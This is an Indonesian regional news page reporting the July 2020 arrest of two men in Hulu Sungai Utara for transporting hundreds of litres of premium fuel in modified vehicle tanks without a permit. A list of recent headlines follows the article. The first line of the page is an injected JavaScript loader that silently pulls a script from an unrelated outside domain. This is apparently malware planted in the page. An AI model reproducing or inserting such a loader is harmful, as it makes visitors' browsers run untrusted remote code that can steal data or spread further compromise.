(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HSU

Timbun Bensin Modus Modifikasi Tangki Mobil, Dua Pria Ditangkap Polisi


KANALKALIMANTAN.COM, AMUNTAI – Ratusan liter BBM jenis premium diamankan anggota Polres Hulu Sungai Utara (HSU) dari tangan dua pria berinisial MU (24) dan SA (45).

Kedua pria yang merupakan warga Desa Panangkalan RT 04 Kecamatan Amuntai Utara berurusan dengan pihak berwajib lantaran keduanya diduga sebagai pelaku tindak pidana kegiatan pengangkutan niaga BBM yang tidak memiliki izin usaha.

Kasat Reskrim Iptu Kamarudin kepada kanalKalimantan.com,  Kamis (23/7/2020) mengakui, pihaknya melakukan penahanan atas kedua pelaku  MU dan SA saat keduanya kedapatan membawa ratusan liter BBM di dalam sebuah mobil di kawasan jalan Amuntai-Tabalong, Desa Panangkalaan, Kecamantan Amuntai Utara.

Baca juga: ‘Sakit Kepala’ Petarung Independen di Pilkada 2020, Calon Parpol Mulai Lobi Limpahan Suara!

 

“Keduanya terkait niaga untuk diperjual belikan, cuma kaitan pengangkutan BBM harus ada izin, sedangkan kedua pelaku tidak ada,” jelas Kamarudin.

Dari tangan pelaku MU, didapati barang bukti BBM jenis premium sebanyak 100 liter yang disimpan di dalam sebuah tangki modifikasi dengan tambahan drum bekas diangkut menggunakan mobil Toyota Corolla.

Baca juga: Akui Positif Corona, Wabup Kotawaringin Barat: Bukan Aib!

Barang bukti yang diamankan polisi. foto: dew

Sedangkan dari tangan pelaku SA, polisi mendapati barang bukti BBM jenis premium dalam jirigen sebanyak 150 liter, dibawa dengan menggunakan mobil Suzuki Carry pada bagian belakang ada tangki modifikasi.

Atas perbuatannya tersebut, kedua pelaku terpaksa digelandang ke Mapolres HSU untuk dilakukan proses lebih lanjut.

Keduanya juga terancam dijerat tindak pidana kegiatan Pengangkutan dan atau Niaga BBM yang tidak memiliki izin usaha sebagaimana dimaksud dalam rumusan Pasal 53 huruf b dan d Jo pasal 23 Ayat (2) huruf b dan d Undang-Undang Nomor 22 tahun 2001 tentang Minyak dan Gas Bumi. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Recent Posts

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

16 menit ago

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

2 jam ago

Kuliner Gratis dan Panjat Pinang Warnai Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More

2 jam ago

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

3 jam ago

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

5 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialisasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

5 jam ago

This website uses cookies.